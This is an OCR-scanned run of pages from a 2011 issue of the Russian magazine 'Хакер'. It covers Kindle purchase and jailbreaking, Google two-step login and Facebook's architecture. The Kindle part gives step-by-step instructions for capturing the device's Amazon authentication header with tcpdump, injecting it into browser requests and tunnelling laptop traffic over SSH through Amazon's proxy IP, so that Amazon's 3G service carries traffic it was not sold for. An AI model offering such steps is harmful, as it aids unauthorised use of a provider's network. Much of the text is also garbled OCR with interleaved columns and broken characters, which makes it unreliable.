~

024

итоге? Отвечаю: что-то около $180 [$139 за сам девайс, $0 за доставку

ХАКЕР

04/147/201 1


аmпоп.Сom ~

_1_a,toL Wo_ ~ . ,oo;. 1IWII8uII1I

.......... _

flf '..,..Do'"

;g;;;;

~ _-. I __

_ & _ ~ 1JOtf

O8I С_

:.

1 __ 1 _

! _

__

1 __

i __ i __

K.,dle Wireless Reeding Devlce. WI-Fi, Graphile, 6" D!splay with New :~ rlTechnOIogy

ТНЕ ALL~NE\V KINDlE SMALLLII, LIGHTtR, F A$TtR.

~ S~ IIInd. II _ ' l _....

щ;rll 50% ВЕ.,г,'[1I CoNTI/.AST

.., ""' u._ $·_ .......

_ , $139.00 .1Nf ...... IINI>'

. ..... _

Я'О"-

Bui/HIJWi-Fi

_~

Е

O!!!JI ... _oI ""Y ~OnAmNOn.

0 .,.... _ _ ....

ror 1"ItZ~ _lttl~. SllWI. 5II......... .t!II.I!II

In 5todt. _ _ ..... _ I I I ..... _ . . . t1t4о11 _ _ ... 1IoI......... ....

_71 0n1e<и

..... ...

QбdI.

НOtIiI

'Т Мfd'~ ~ _&( _ _+ I _~

I

..._

---

.

t.-. ..... I J _ . , ....

_-'О"

O=:=!'it<:'l

O =-:~_u.;.t.

1_ _ "'T_... __ ..." .... du""C. ЫIuont

--1)' __

-_ ,,-_

..... .-lhodl)'ln ......... _

O~~~....,

... N'edlle,,"chooeIng1

....,.. .... Iho -PaOIed lZrf ............ _

.........

went~ 8!

Il101 ... .,...... .".. lhI tkм. Мyмothк, Н81««М

....

_-.сbl8..,

..

.....,. . п

Ое::,

WI.R 'м Ю

~Amaon·. -иt КiDd1e Ь the Ъet! ebook-readi. .. de\ice оп IЬе variOIll SoIO' IUdt:n ...• • Fut СотраА)'

hII: t1:tr8eIМ:e .t IDY blIth wu . . . ., Iht 4eeper .btenceJ'IC toCOlМ. ....... Мct.1 ...... thtwtys ... whkh fD1 ...... 8tt ttм: moatmt I wu bom ln80 а.

Самый большой

русскоязычный

форум по

forum/viewforum.

fadмt

c:anacIa,Ьшhocl"'",_

Links

Kindle: the-ebook.org/

Thc Rcviews Атс 111

.... ""

WOUWI ,... thal 8\ubiple ~ CIn ео ... wy

! .М О' М "iп ........

~

the marRt.II'. beltu I.ban lhe AppIell'.oi. the ВameI "NoЫeNook.

php?f=37 ;

Покynаем читалку на сайте

Amazon

WМdМC in Ibe'" of In 8tOIМ, ........ "' .... haМ of ~ or ..... U:nrnaМtЫe forct" .. ... IItмdy

настоящая Мекка

для владельцев риде­

wrttttn. and ему aCtJOn of вwм: МW4 tmt 10

ра

oTAmazon:

mobile read.com/ fo ru ms/foru mdisplay. php?f= 140 .

Полезные хаки ДЛЯ читалки КИНДЛ собственной nepcоной

Не вижу смысла подробно описывать установку раз­

Как узнать больше о

своем

Kindle?

Специальные команды MOгyr быть вызваны из экра­

личных хаков: в большинст ве своем она повторяет

Незадолго до сдачи

инсталляцию джеЙлбреЙка. Но не могу не упомянуть

статьи в печать вышла

несколько особенно интересных доработок, которые

новая прошивка для

MOгyr быть тебе интересны.

Kindle.

• Ввод кириллических символов , который недосту­

ном обновлении [вер ­

пен п о умолчанию:

сия 3.11 появилась

bit.ly/cyr sym ;

поддержка реальных

В программ­

• полная русификация девайса:

номеров страниц

bit.ly/rus kiпd lе ;

-такихже, каки на

на 5еttiпgs:

• читалка fb2-файлов: bit.ly/fb2 kindle ;

• Изменить 3G-провайдера: набрать 311 IALT +ЕОО];

• альтернативная прошивка от китайских друзей,

для части книг, до­

• серийный номер Киндла и тому подобное: tlабрать 411IALT+RQQ];

которые сделали более удобным чте ни е

ступныхдля покупки

лизовали поддержку книжек в

• информация по 3G-моАему: набрать 611 IALT+УОО];

wiki .mobileread .com/wiki/Duokan Kindle ;

• информация по WiFi-моАему: набрать 711

• дополнительные словари: bit .ly/slovari kind le.

IALT+UQQ]

бумажном носителе . Но это работаеттолько

PDF и реа­

через

DJVU:

до посредника, $8.5 за его услуги, и около $30 за доставку в РФ], то

Смысл в следующем. Для каждого отдельного

есть чуть больше

кальный

5000 рублей за версию с Wi-Fi. Цена может варьи­

Kindle

Amazon.

выделяется уни­

e-mail форматаusег0fгее.kiпdlе.соm. Если отправить н а этот

роваться в зависимости от места назначения и способа доставки.

адрес письмо с при крепленным документом и словом «сопvе гt» в теме

Чем быстрее ты хочешь стать обладателем читалки , тем дороже это

сообщения, то автоматический сервис сам приведет файл в нужный

обойдется. Так или иначе, заказать

Kindle в США - задача более чем

в настройках своего аккаунта

Как использовать? Может возникнуть подозрение, что

вид, а Kindle заберет его во время следующей синхронизации Iдля этого в меню нужно выбрать пункт «5упс

решаемая.

Amazon

Amazon

& check for items»].

Учти , что

необходимо прописать те адре­

са, с которых возможно принимать подобного рода сообщения. как-то о гр аничивает сво­

2. Другой

способ

- переконвертировать книгу с помощью спец и ­

боду использования читалки и позволяет чи тать лишь приобретен­

альной программы или онлайн-сервиса, после чего заброси ть ее по

ные в его магазине книги. В действительности никаких огра ни чений

кабелю через

нет. При п одключени и устройство распознается как внешний нако­

про грамма

питель , и ты можешь забросить на читалку любые книги и докумен ­

разными ОС При этом, опять же, позволяет сразу забросить документ

T!:>I. Есть, правда, нюанс. Многие пользователи в России привыкли к

через

тому, что книг и распространяются в довольно удачных форматах и

fb2

epub. Увы , Kind le эти форматы по умолчанию, то есть без установки

U5B. Одним из самых удачных решений здесь является

Calibre. Она бесплатна, функциональна и работает п од

user0free.kindle.com.

Отложенное чтение

дополнительных хаков, не поддерживает К счастью, любой документ

Помимо непосредственно книжек я часто читаю новости и свежие

можно легко преобразовать в такой формат, который Кiпdlе поддер­

статьи с популярных ресурсов. В этом большая заслуга небезыз­

живает. Я использую два варианта.

вестного сервиса Iпstарарег linstapaper.co m ], который реализует

1.

Специальный сервис для конвертирования и последующей загруз­

ки книг в читалки, которые предлагается самой компанией

ХАКЕР

04 114 7/20 11

Amazon.

подход «Прочитаю позже». Это очень удобная штука. Если ты видишь в Сети интересную статью, но прочитать ее сразу нет воз-

~

025


_....,..

"'1/0

Т1Nr"

_

~

halplui IfllrкmмJon, rflI/Om.

tNtМ уou

_

f'ff<lCl! for your OUIU

ИId IJntНпиttМ~

~/,r-----------

е Sh1pplng OI/aJl.tor

SHOP lN •

_-

нowltworlt.

.

@

Уоиу Aa:ount

G)

N8W ACXlDulYt

U.S.A. Address &. Mail Forwarding

OUR SERVICES

МIIny

ТНЕ

U.S.A.

АНО

HAVE

PACКAGES

FORWARDED

ТО УОU

т. U.S.A. ttIank. to tM w•• k dOll.r y.~ 8t'1C1lttrong .-118" do not fhjp cIIr«tl v to Inwrr\4Pot\c11 /t<Idr_ . HOW you ц," Ihop I)l'lllne

prodL.w;:tt; .r. rNIdIlflt •• poant1v8 1n

COt""petltion . мtll'I'( и.5 .

on , IU. nk8

888у.

Amuon. 811d

poIIl"WмI МId .,.r~

ВUt8VY 8М оУ8 vtШ ,Ыр

oeym8m If

~

CIO tJOC OWII •

th8

cпdl l

~

to '10\1 _ w. Qn

81И

"'1'1 wlth

c:.td .

INFORMAnON

Сервис

Shipito доставит посылку на любой адрес в мире

можности, ТО удобно с помощью специального букмаркета на па не ­

Сеть покрытия бесплатного мобильного инета Кindle

ли браузера (кнопка «Read latep» сохранить ее в базу Iпstарарег.

Бесплатный ЗG

Причем важ н о , что прочитать стр аницу можно не только ч ерез

Чтобы пр одемонстрировать всю мощь до п олнитель ны х хаков,

веб -мо рду се рви са , но и через р азличные моб ильн ые уст р ойст ва,

хочу рассказать тебе о наиболее интересных и з ни х. Н о с на­

в том числе

чала небольшая прелюдия. Версия

- Кiпdlе. Iп stарарег по зволяет преобра зовать статьи

в Кiпdlе-совместимый формат и легко п ередат ь на девайс через

описании интересную с трочку

Kindle с 3G имеет в своем

«Free 3G Worldwide». Приобретая

u sb-ш н у ро к . Можно также на ст роить бес пр оводн ую д оставку ко н­

именно эту версию читалки , я и п о дум ать не мог, что встроенный

тента, но в этом случае не забудь использовать адрес д омена

беспроводной модуль !с з ашитой намертво S I М-картой) будет

!afree.

kiпdlе . соm (а не !аkiпdlе.соm ) , чтобы доставка была бесплат н ой.

работать и на территории России. Но он работаетl Заметил я это

Instapa per позволяет отправлять по двадцать статей за од ин раз,

совер ш енно случайно, ко гд а вос поль зовался встроенным брау­

а та кже на з начить п е риодичн ость доставки. Вдв ой н е приятно , что

зеро м и осознал, ч то подклю ч е ни е к своей домашней

се рви с хо рошо работает в связке с

е щ е даже не настраивал. Естественно, первая мысль, которая

Google Reader'oM . Благодаря

Wi - Fi сети

этому стало как никогда удобно отложить несколько интересных ,

приходит на ум

но длинных статей дл я о нл айн-чтения, н апри м ер, в метро. Не могу

фи к буд ет осуществлена постфактум !сколько накачал -

здесь не у помян уть об е щ е одной ра з раб отке, предлагающ ей ана­

и заплати) с и с п ользованием карточки, привязанной к Amazon-

логичный функционал

аккаунту. Но более д етальное исследование дало ответ: сер­

Делаем

-

это сервис

kindle.topixoft .com .

-

бесплатного сыра не бывает, и оплата за тра­

столько

финг действительно бесплатный l А плата взимается за закачку

iailbreak

контента с мейла !аkiпdlе.со m и при заг р узке книг и з м а газина

Е ще н еда вно мы и зн ать не з нали, что такое джеЙлбреЙк . А теперь вот

[99 центов за Мб в роуми нге , что не так уж и м ного). Др у г ими

дошло до то го , что выполняем эту операцию даже для электронной

словами , можно серфить через встроенный браузер сколько

читалки . В общем случае необходимости взламывать читалку нет.

у годно и делать это бесплатно. Главное, чтобы была д оступна

Джейлбрейк нуже н только, если ты хоче ш ь внести изменения в ее

се т ь. Тут надо сказать, ч то ско р ость соед инения у на с в России

работу. Сделать свое го рода « тю нинг» читал~и, ре ализовав , к прим еру,

не самая большая, а браузер в

возможность чтения новых форматов или использования 3G-модема

Видимо, расчет

ч италки для доступа в Сеть через ноутбук.

читалку ни кто не будет.

количеств о

Kind le,

Amazo n пр одало огром н ое

и целая армия фанатов се йча с лепит оди н полез­

Kind le -

настоящее наказание.

Amazon с делан на то, что реально серфить через Hol

Умель цы еще для второго поколения

Kin dle ра зработали t еt hегiпg -хак, п озволяю щий использовать

ный хак за другим.

читалку как модемl Понимаешь, куда я клоню? Бесплатный инет

Для выполнения джейлбрейка н еобходимо вы п олнить несколько про­

на читалке. Читалка может работать как модем для ноутб ука. П олучаем бесплатный инет на ноутбуке вез д е, где ес т ь п окрыт и е

стых шагов:

1.

П осл ед няя верс ия патч а все гда доступна в с п ециаль н ой ветке н а

известном форуме, посвященном электронным читалкам (moblleread .

com!forums!showthread.php?t=88004 ). Н еобходимо ска ч ать при­ аттаченный файл

kindle-jai lbreak- 0.6. N. и распаковать его. Вн ут ри

ты найдешь множество .Ып-фаЙлов , а также пап ку

src. Каждый файл

3G [карту можно посмотреть здесь: cllentO.cellmaps .com!v iewer. html ?соу= 1).

Настраиваем тетеринг Итак. как это сделать? Я в се реализовал по ин струкци и, опубли­

представляет собой модификацию джейлбрейка для определенной

кованной в одном из англоязычных блогов (balaganov.wordpress .

версии

сот!20 10!09125!tеthеГlпg-thе-k l пdlе-3 ). Там есть сложные места.

Kindle, тебе н уж но выбрать из них подходящий .

Имя файла им еет следующий формат

update_*jnstall.bin. Символы

п оэтому приведу з д есь инструкцию п ол но сть ю:

k2 вместо звезд о ч ки озна ча ют версию К2 US, k2i - К2 GW, dx - КОХ

1. Нам понадобится специаль ный хак [набо р скр иптов . конфигов и

US, dxi - КОХ GW, dxg - КОХ Graphite. k3g - кз 3G (US [ВО 06]), k3w -

приложений). который позволяет подключить Kind le к компьютеру не

кз WiFi [ВО08] и k3gb - кз 3G (UK [ВООА])

как в н е шний накопитель. а в виде сетевого устр ойства, которое мы и

В ква дратны х скобках указаны перв ые четыре символ а серий н ика

будем использовать для тетеринга. Все, что нужно - usbNetwork [.bi.L

девайса. Так как мой Кiпdlе самой последней версии и привезен из

ly!usbNetwork). Скачиваем с этой ветки форума архив с последней

Штатов, то я выбрал файл uрdаtе_k3gjпstаll.Ып.

версией хака, ищем файл для нашей версии Кiпd lе'а, перен ос им е го

2. Далее

в корень устр ойства и вызываем ч е р ез меню девайса обновления

закидываем е го в корень Кiпdlе, после чего в меню девайса

выбираем «Ноте ~

Menu ~ Sеtti пg s ~ Мепu ~ Update Your Ki ndle».

-

короче говоря, делаем все точно так же, как и в случае с джейлбрей­

Девайс сообщит, что начал ся процесс обновления программного обе­

ком.

спечения, который довольно быстро успешно завер ш ится. Читалка

2. Теперь у нас есть возможность перевести Kindle в режим сетевого

сама п е р еза гр узится.

адаптера. В се команды мы будем вводить в стро ке п о и ска, и с п ол ьзуя

3.

С это го момента

Kindle

джейлб р ейк н ут и готов к самым смелым экс­

периментам в лице разнообразных хаков.

~

026

QWЕRТУ-клавиатуру. Делается это следующим образом: « Ноте ~

Oel ~ «; dеЬugОп » ~ Enter». Команда включит режим отладки . Далее ХАКЕР

04 / 147/ 20 11


Showing AI112 Items notlce

~~.~,

there was а problem with your с ...

pdf

David Mark, ]eff LaMarche, ]ack Nuttin .. .

pdf

~!~~~;-;~.?~~.~~~.~y. .................... . Oxford Dictionary of English Подключаемся к читалке через ваться ввести ко манду

Финансист

11

< >

кi

?

{

}

I

[

]

\

л

&

~

#

$ %

1 2

3

4

W

5 6

7 8

..

7. Далее нам понадоб ится скачать версию снифера tc pdump для

АRМ-архитектуры [eecs.umlch.edu/-tlmuralp/tcpdump-arml, на

~

"

2011

=

О

которой построен

Kindle, и зали ть его на устройств о. З ачем нам

нужен снифер? Дело в том, что все НТТР-запросы, осу ществляемые с устройства , перенаправляются на прокси-се рвер

i,

ge ...

Amazo n.

При этом

в загол овке пр о писывается спе циальный ключ-идентификатор [x-fsn

authentication keyl , уникальный для каждой читалки. Соответственно,

+ 9

ГW».

Теодор Драйзер

... .................. .. ............ ...... ... ... .... ... .. ...........

РС

«mntroot

telnet

azon

(press 'SYM' key to close symbols)

чтобы иметь возмож н ость использовать читалку в качестве модема, нам н еобходимо пр о писыв ать этот ключ в за голово к ка ждо го за пр оса, который будет выпол н ять браузер.

8. Запускаем

« нюхача» командой «-/tcpdump-a rm - пАi р ррО -sО-w

xfsn.log» и заходим на люб ой сайт через к индл. Далее в л оге xsfn.log

-usbNеtwоrk{

( _ch ту Items) ~)

ищем любую запись , начинающуюс я с

консоли так : «ca t xfsn.log

.... P~g~ -'..9'.2M___'~~~=~'~ usbNetwork

I grep -т

«x- fsn:».

Это можно сделать в

1 x-fsn» .

9. Теперь нужно настроить соответствующим образом браузер.

Включаем хак

Подставить ключ в хедеры позв олят дополнительные инструменты,

например пла гин Modify Headers [blt.ly/modify headersl для Fi re fox.

за пускае м скри пт, активируем хак: « " - u sЬNеtwо гk" ~ [ Епtег]».

Просто указываем в на стройках, что любой заголовок должен содер­

З . Теперь мож н о п одключ ит ь девайс к ком пьютеру. Если все сдела­

жать з нач ение

но правильно, система об наружит н овый сетевой адаптер «R NDIS/

10. Все,

Еth егпеt» и предл ожит его отконфигурировать .

ка на

«x -fs n:

ключ».

осталось н ем н о го

- перена п рав ит ь трафик с н оутбу-

Kin dle. Для это го пропишем в Firefox'e пр окс и -се рвер

П од виндой все нем н о го сложнее, п отому что сиС,тема н е сможет найти

127.0.0. 1:888 и наст р оим с этого порта SS Н -ту ннель до Ки ндла.

подх одя щий драйве р . На форумах опытн ые люди п одсказали , что

Открываем

подойдут дрова от Хегох [bIt.ly/RNDIS dпvегl . Под Windows 7Nista воз­

ку

можно придется поставить еще и пакет

адрес удаленного прокси

Windows Mobile Device Center

PuTTY и с оздаем на порту 888 переадресацию на книж ­

888:72.21.210.242:80 root019 2.168.2.2. Здесь 72.2 1.2 10.240 - это Amazon, 192.168.2.2 - внутренний адрес

[blt. ly/wmdc down load l.

Kindle , 888 - выбран н ый нами произв ольный порт. Если во время

4. Пора настроить сетевой интерфейс. Устанавливаем в качестве нашего I Р-адреса 192. 168.2. 1 и маску подсети 255.255.255.0. Теперь можно взять PuТТY и подключиться к Kindle [ его I Р-шник по умолча­

генерации ключа ты использовал парольн ую фразу, то в этот момент

11.

нию -

auto» и п е р е им еновать его в «auto», чтобы ск рипты тете рин га запуска­

192.168.2.21 через telnet . В окн е терминала ты увидишь знако­

мое ко н соль н ое окошко

-

это встроенный в Ки ндл

Li nux.

Kindle за про сит ее ввод. В заве ршение можно найти в папке

usbNetwork файл «DISABLED_

лись автоматически.

5. Следующий шаг - на стройка SS H - Аем она. Мы будем и спользовать

К сожа л ен ию,

автор и за ци ю с п о м о щ ью пары прив ат н ого и п убл ичн ого ключей,

далеко не везде. К тому же н екоторые сер висы работать п росто от ка­

3G н а тер р итории н а ш ей стра ны хо ро ш о работает

которые нам поможет создать программа Р u ПУgе п [она входит в

зываются [в первую очередь те, что и с п ользуют SSLI . НО ведь р абота­

набор стан дартн ого дистрибутива PuТТYI . Н ажимаем в ней к н опку

eTI За месяц ис п ользования такой схемы [ п ускай и не сильно интен ­

«Generate», двигаем мышкой для генерации случайных з начений и

сивногоl никто с меня ни копейки не с нял . Но я вижу своим д ол гом

получаем на экр ане наш п убл ичный ключ.

преду предить , что

Его содержимое н уж но скопировать в текстовый редактор и заки­

оплаты за использованный трафик . Хотя повто рюсь, что прецедентов

нуть на Kindle в виде файла .authorized_keys в папке «usbnetwork/

еще не было.

etc». Им е й в виду, что если сох р анить публичный ключ в файл, вос­ пользо вавшись кно п кой

«Save public key» , то в него будет добавлено «BEG IN SSH2 PUBLIC К ЕУ», кото ­

несколько ненужных строчек в род е

рые не сможет р аспоз нат ь используе мый в

Kindle SS H- А емо н.

Amazon

при желании все-таки может попросить

Вдохновение Глагол

«Kindle»

Amazo n

п ереводи тся с ан глий ско го языка как «вдох новлять».

пр едлагает достойнейшее устройство дл я поку п ки и чтен ия

В заве рш е ни е сохра ня е м пр и ватный ключ где- ни будь у себя на ко мп е

книг в электр онном ф о рмате , которое не нуждается в до п олнительной

- он нам понадобится в самое ближайшее в р емя.

работе напильником. Все и з н ачаль но работает очень хо р о ш о. Н о ги б­

6. С это го момента мы можем получать доступ к файлам через SSH,

кая архитектура девайса не мо гл а не вдохновить многих э нтузиастов

воспользовавшись утилитой Wi п SСР. Во время настройки п одкл юче­

на создан ие своих собственных « доделок». В результате мы получаем

ния необходимо указать

проду манный и расширяемый девайс, кото рый продается п о доступ­

«root»

в качестве имени пользователя и свой

приватный ключ. Чтобы включить возможность за писи , может потребо -

ХАКЕР

04 / 14 7/ 201 1

ной цене. Вот всегда бы так. :х:

~

027


• • С т е пан «5 1ер » И ЛЬ ИН (twitter ,com/stepahl

ВУХСТУПЕНЧАТАЯ А ТОРИЗА ИЯ

OT GOOGLE

Надискеты найдешь видеодемонстрацию

двухcrупенчатой системы авторизации

Защищаем доC1YJl к Googie/Gmaii-аккаунту с помощью HOBOJ1 техноJfогии с) То, что давно используется в платежных системах и онлайн­

банкингах для управления счетами, где необходим максимальный уровень безопасности, наконец появляется и в обычных онлайн­ сервисах. С недавнего времени Googie предоставляет возможность использовать двухступенчатый способ авторизации. дождалисы  Одно из недавних и самых заметных нововведений

• собственно , пароль;

Gооglе-всяких сервисов

-

новая двухступенчатая авторизация.

одноразовый код, который нельзя использовать повторно.

По сути, она добавляет новый слой защиты для твоего аккаунта

Этот принцип давно взят на вооружение для проведения финан­

Google, требуя во время входа в с и стему не только з нать привыч­

совых транзакций через онлайн-банкинг, где нужна максимальная

ные логин и пароль, но еще иметь доступ к твоему телефону. Это

безопасность. Правда, одноразовые коды [так называемые

значит, что если кто-то украдет или подберет пароль, то облома­

выдаются в отделении банка на специальной карточке. В случае

TAN'bI)

ется во время авто ри за ции из-за отсутствия спе циальн ого кода ,

же двухступенчатой авторизации

который можно п олу чить только с помощью твоего телефона.

телю через телефон. Есть три способа получить одноразовый пасс:

Поэтому, если ты используешь

• через специальное мобильное приложение Google Аuthепtiсаtог,

Gmail в качестве своего основного

Google , код выдается пол ьзова­

почтового ящика [а именно так и делает большинство из команды

которое сейчас доступно для устройств Апdго id ,

«Хакера» ), то мы настояте ль н о советуем под ключ ить эту новую

ВlасkЬе ггу;

опцию.

• в бесплатном SМS-сообщении, которое при запросе отправит Google;

'nвухс~енчатая авторизация Чf<, это. Пароль

-

- это единственное, что отделяет данные в тв оем

iPhone

и

• через голосового робота [для пользователей с городским теле­ фоном, где нет SMS). Самое главное, что нужно понять: одного логина и пароля для

почтовом ящике от злоумышлен ни ка. Каким бы сложным ни

входа в систему в случае двухступенчатой авторизации недоста­

был пароль, п ускай даже сге нерированный случайным образом ,

точно. Для каждой авториза ции будет необходим одноразовый

он л егко может оказаться в чужих руках и беспроблемно быть

код. И здесь надо иметь в виду, что если под рукой не окажется

использован для входа в систему. Двухступенчатая авториза­

телефона [и, соответственно, возможности запросить код), то

ция

выполнить вход в систему будет затруднительно. Единственный

-

тот самый подход, кото рый делает вход в систему намного

бол ее за щищ ен н ым.

выход из это го положения

В этом случае одного только пароля недостаточно. Для входа тре­

чей, который

буется два независимых элемента:

лек. Других

~

028

-

набор спе ци а л ьных запас ны х клю­

Google предлагает распечатать и положить в коше­ вариантов HeTI ХАКЕР

04 / 147/ 2011


Со

gle Аккаунты

Ввод кода п одтверждени я Чтобы подтве рдить свою пичность на этом ко мпьюте ре . введите в с оответствующ ем п опе код подтвержд ения . указанный в м обипьно м п ри пожен ии .

Введите код:

I Подтвердить

,1

133584

I

~ Зап омн ить дпя это го комп ьютера . Otheг

ways 10 аеl

а veгificalion

stepan.ilyin@gmail.com

code »

Без одноразового кода подтверждения теперь

~

.

в систему не войти

..

Edit

...

,"""'~

Legal Information

+

-~,~

.

Сгенерированный одноразовый код

Как включить?

4.

Кно п ка для включения дву х сту п енчатой авторизации находи т ся

позвол яет ввод ить код авториза ц ии од ин раз в

в н астройках твоего аккаунта Google [goog le.com/accounts l. В

5.

груп п е наст р оек

Как в и д и ш ь , процесс входа в с и ст е м у пра ктическ и н е изме ни л­

ес т ь ссылка

« Persona l Settings »

и под р азделе

«Security»

« Using 2-step vегi f iсаti о п». которая пе р еадресуе т

тебя на масте р а по нас т ройке двухступенчатой авторизации.

О п ция

« Remember

v егif i саtiо п

for t hi s computer fo r

Все , мы в н утри и пол ь зуемся сервисами

зо

30 дн ей. Goo gle , как и

days» раньше.

ся. Внимате л ьный читатель, возможно , замет и т: «Ну. хо р о ш о . С

веб-интерфейсом все понятно , а как указы в ать такие п ароли в

Процесс нач и нае т ся с выбора телефона.

почтовом клиенте. котор ы е забирает почту по PO P3/IMA P?». И

Есл и у тебя одно из устройств . на которое можно установить про­

будет прав.

грамму Goog le Aut henticator [оно доступно для iPhone . Android

Вскоре после включения новой схе м ы автор и за ц ии п ерес тан ут

и Blackberryl . то мастер попросит установить е г о на т елефон.

работать все п р иложения. Тра диц и он ны й процесс обще н ия с

Позже его нужно будет настро ит ь . прописав в мобильном п рило­

сервером в т ех же самых дескто пн ых кли ентах для работ ы с

жении параметры своей уче т ной записи

Google .

и ввести secгet

п очтой жестко зашит в код пр огра мм ы . а п о дде рж к и двухсту п е н­

key с экрана монитора. Все настройки программа сделает авто­

чатой с х емы я п ока е щ е нигде не в и де л .

матически. если т ы сосканируешь с экрана сгенери р ова н ный

Чтобы обойт и это огра н ичение.

мастером

авторизации дл я э т их п риложений. Для каждого такого пр и­

QR-KOA. Пока Google разрабатывает версии Goog le

Authent icator

для д р угих п латформ. получа т ь одноразовые коды

можно на любой телефон с помощью SMS- с о О бщениЙ. Н астроить

Google предлагает особую схе м у

ложения [буд ь это дескто п ный п очтов ы й клиент , моб ил ьное приложение на т елефоне или что-либо еще l гене р ируется уни­

такую доставку од н оразовых кодов необходимо в любом случае.

кальный п а р оль п ри л ожения [ это называется Applicatio n-s pec ifi c

Для этого на телефон приде т специаль н ый пароль. ко т орый

passwords). То есть м ы ис п ользуе м преж ни й лог ин, н о вместо

нужно будет ввести в поле для подтверждения номера телефона.

привычного п ароля ис п о л ьзуем с п ециально сфо рмир ованный

Помимо этого мастер предложит создать запасные [так называе ­

для этого пр ил ожения п асс.

мые backupl коды на крайний случай . ко гда доступа к паролям

Заходим в настройки безопасност и на ст р аницу google.com/

не будет.

accounts/bIO/lssuedAut hSubTo kens [л и бо че р ез стр а ни цу ак кау н та

Google сгенерирует что -то вро д е визитки. кото р ую

мож н о распечата т ь и п оложить к себе в ко ш елек. Тут надо п о н и­ мать .

что д аже если «шпаргалка»

потеряется и по п адет к кому-то

-7 Secu ri ty -7 Aut horizing app lications & sites). З д есь ты ув ид и ш ь список веб-приложений , которые используют авторизацию че р ез

в р уки . о н н ичего не сможет с ней сделать . не зная логина и

Google с помощь ю технологии Oauth. А ниже н а ход ится сек ци я

парол я дл я доступа к аккаунту. Никакого р иска нет. Реко м е н дую

«Ap plicat ion-speci fi c passwo rds». Для создани я н ово г о па сса дела­

сразу н астроить все способы получения одноразовых паролей:

ем следующее:

установить и нас т роить мобильное п ри л оже н ие [ес ли это воз­

1.

можно) . прописать номер моб и льного телефона для приема SMS

хочешь сгене р ировать временный пароль .

В води м н азва н ие девайса или при л о ж е н и я. дл я которого т ы

и распе ч атать запасные коды [к моме нту сдачи м а т ериала у ме н я

2.

возникла р еа л ьная ситуация воспользоваться имиl.

3. Google

Н ажи м ае м

«Generate passwo rd» .

возвращает 16-з н ачный п арол ь , кото р ый ты тепер ь

може ш ь указать в н аст ройках это го ко н крет н ого устр ойст ва/ п р и ­

Как использовать?

ложен и я.

Итак . как теперь будет выглядеть процесс входа в систему? По

4.

сути. все то же самое . за исключением одного пункта.

Такую опера ц ию , в частности . я сделал для своего п о ч тового кли­

1.

Ты заходи ш ь на стран и цу с формой для авторизации в сервисах

Goog le [н априме р . Gmail).

2. 3.

Приложе н ие вновь работает

ента на мобиль н ом телефо н е , кото р ым пользуюсь постоянно .

В отличие от кода ве ри фикации. который необходимо вводи т ь во

Вводишь логин и п ароль . как это де л ал ранее.

время каждой авторизаци и, пароли пр иложе н ия м ож н о указа т ь в

И вот здесь появляется новы й этап.

настройках п р ог р амм оди н раз. Н о в л юбой мо ме нт любой и з них

верифика ц ии. Открываем

Google

зап р а ши вает код

Google Authe ntica tor и вводим отобража­

можно аннули р оват ь [сделать revokel с этой же само й ст р а ницы .

ющийся там код для входа в систему. Точно так же этот код м ож н о

Именно так я , кстати . с д елал для пасса , кото р ый зафи кси р ова н н а

получи т ь п о

скриншоте. Руки прочь от м оего aKKaYHTa l :) :х:

ХАКЕР

SMS и ли взять из распе ч атан н ой «шпа рга л ки»

04 114 7 1 20 1 1

~

029


• • Иван Блинков (in sight-it , ru)

АРХИТЕКТУРА

FACEBOOK 500

миллионов пользователей - это не предел

С) Фильм «Социальная сеть» хорошо иллюстрирует феномен разви­ тия Facebook'a, сумевшего за рекордный срок собрать баснословную, немыслимую ранее аудиторию. Однако за кадром осталась еще одна составляющая проекта

.. ское устроиство. Что такое

Facebook

-

то, как он работает изнутри. Его техниче-

сейчас? Лучше всего это демонстрируют

сухие цифры:

• • • •

500000000 активных пользователей (месячная аудиторияl; 200000000000 просмотров страниц в месяц; 150000000 обра щ ений к кэшу в секунду; 2000000000000 объектов в кэше ;

~

030

• 20000000000

фотографий в 4-х разрешениях. Их хва т ило

бы, чтобы покрыть поверхность земли в

10 слоев - это больше ,

чем на всех других фото ресурсах вместе взятых;

• более 1000000000 сообщений в чате каждый день; • более 100 000 000 поисковых запросов ежедневно; • более 400 000 разрабо т чиков ст о ронни х п риложений;

ХАКЕР о.

/107/ 2011


NewsFeed - The Work

Более подробно про

архитектуру

Facebook

и других высокона­ груженных проектов

можно почитать в

блоге автора:

- Most iU'rows Indlca.te thrift ca.lls

Молодой создатель Марк Цукерберг

Схема формирования новостной леНТbI

Культура разработки

Facebook

• Двигаться быстро и не бояться ломать некоторые вещи; • большое влияние маленьких команд;

Facebook'a -

inslght-

It.ru/highload

Что обычно проис­ хо~ит за 20 минут

на

Facebook?

dvd

• быть откровенным и инновационным;

• Люди публикуют 1 000000 ссылок;

~

• возвращать инновации в орепsоuгсе-сообщеетво .

• Отмечают друзей на 1 323 000 фото­

На диске ты найдешь

меро п риятия;

инженеров

• Отп равляют 1 587 000 сообщений на

разли чны х конферен­

• более 1 000 000 актив н ых п ользователей на одного инженера; • десятки тысяч серверов, десятки гигабит трафика.

стену;

ций.

500

разработчиков и системных администраторов в

презентации и видео с выступлениями

штате;

около

графий;

• Приглашают 1 484000 знакомых на

Facebook с

• Пишут 1 851 000 новых статусов; • 2 000 000 пар людей становятся дру­

Как же все это работает?

зьями;

Масштабируемость,

• Загружается 2 700 000 фотографий;

простота, ьtкрытость

• Появляется 1О 200 000 комментариев;

Можно по-разному относиться к социальным сетям вообще и к

• Отправляется 4 632 000 личных сооб­

Facebook'y в частности, но с точки зрения технологичности это

щений.

один из самых интересных проектов. Особенно приятно, что разработчики никогда не отказы вались делиться опытом созда­ ния ресурса, выдерживающего подобные нагрузки. В этом есть большая практическая польза. Ведь в основе

ных сервисов. Таким образом, архитектура Faceboo k имеет тра­

системы лежат общедоступные компоненты , ~OTopыe можешь

диционный трехуровневый вид:

использовать ты, могу использовать я

-

они доступны каждому.

Более того, многие из тех технологий, которые разрабатывались

• ве б- прил ож ени е;

внутри

распреде ленный инде к с ;

п ост оянное х ранилище ,

Facebook'a, сейчас опубликованы с открытыми исходни­

ками.

И использовать их, опять же, может абсолютно любой желаю­ щий.

Полагаю, что наиболее интересно будет услышать, как в проекте

Разработчики социальной сети по возможности использовали

удалось использовать самые привычные технологии. И тут дей­

лишь открытые технологии и философию

ствительно есть немало нюансов.

Unix: каждый компо­

нент системы должен быть максимально простым и произво­ дительным, при

всем

этом , решение задач достигается путем

Проект на РНР

их комбинирования. Все усилия инженеров направлены на

Напрашивается вопрос: почему именно Р Н Р? Во многом

